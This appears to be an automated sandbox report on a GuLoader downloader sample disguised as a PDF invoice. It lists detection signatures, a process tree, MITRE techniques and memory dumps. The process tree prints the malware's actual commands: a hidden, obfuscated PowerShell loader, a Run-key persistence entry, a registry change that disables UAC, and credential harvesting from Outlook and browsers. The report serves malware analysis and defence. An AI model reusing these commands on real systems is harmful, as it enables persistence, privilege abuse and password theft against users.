Analysis
- max time kernel
149s - max time network
149s - platform
windows7_x64 - resource
win7-20240708-en - resource tags
- submitted
15/07/2024, 09:43
General
- Target pko_trans_details_20240710_105339·pdf.exe
- Size 477KB
- Sample240715-lp64casgra
- SHA256 d7325eb4553b2c58a8580cb84af63cfe5cdf4ff23a3d4e09a963c656d5717d8c
Malware Config
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- UAC bypass 3 TTPs 1 IoCs
- Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Blocklisted process makes network request 10 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 4 IoCs
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry key 1 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious behavior: MapViewOfSection 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 35 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Forhrt=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San';$Forset=$Forhrt.SubString(45874,3);.$Forset($Forhrt)"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preeffort" /t REG_EXPAND_SZ /d "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\Jeglasset\').Communicatory;%Begittede% ($Assiduity)"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preeffort" /t REG_EXPAND_SZ /d "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\Jeglasset\').Communicatory;%Begittede% ($Assiduity)"4⤵
- Adds Run key to start application
- Modifies registry key
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C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- UAC bypass
- Modifies registry key
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\uffwttkclqkq"3⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\ezlptluezycdblm"3⤵
- Accesses Microsoft Outlook accounts
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\pbyhuefxnguierihzj"3⤵
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
logs.dat
uffwttkclqkq
Helicopter.San
Polemoniaceae11.Non
BgImage.dll
UserInfo.dll
nsDialogs.dll
memory/1284-70-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1284-66-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1284-73-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1284-67-0x0000000000400000-0x0000000000478000-memory.dmp
memory/2388-77-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2388-76-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2388-75-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2812-60-0x000000000B4F0000-0x000000000C552000-memory.dmp
memory/2812-33-0x0000000073880000-0x0000000073E2B000-memory.dmp
memory/2812-30-0x0000000073881000-0x0000000073882000-memory.dmp
memory/2812-41-0x0000000073880000-0x0000000073E2B000-memory.dmp
memory/2812-40-0x0000000006730000-0x000000000B2EC000-memory.dmp
memory/2812-39-0x0000000073880000-0x0000000073E2B000-memory.dmp
memory/2812-89-0x0000000010000000-0x0000000010019000-memory.dmp
memory/2812-90-0x0000000010000000-0x0000000010019000-memory.dmp
memory/2812-37-0x0000000073880000-0x0000000073E2B000-memory.dmp
memory/2812-64-0x0000000006730000-0x000000000B2EC000-memory.dmp
memory/2812-34-0x0000000073880000-0x0000000073E2B000-memory.dmp
memory/2812-32-0x0000000073880000-0x0000000073E2B000-memory.dmp
memory/2812-31-0x0000000073880000-0x0000000073E2B000-memory.dmp
memory/2812-86-0x0000000010000000-0x0000000010019000-memory.dmp
memory/2964-71-0x0000000000400000-0x0000000000462000-memory.dmp
memory/2964-72-0x0000000000400000-0x0000000000462000-memory.dmp
memory/2964-69-0x0000000000400000-0x0000000000462000-memory.dmp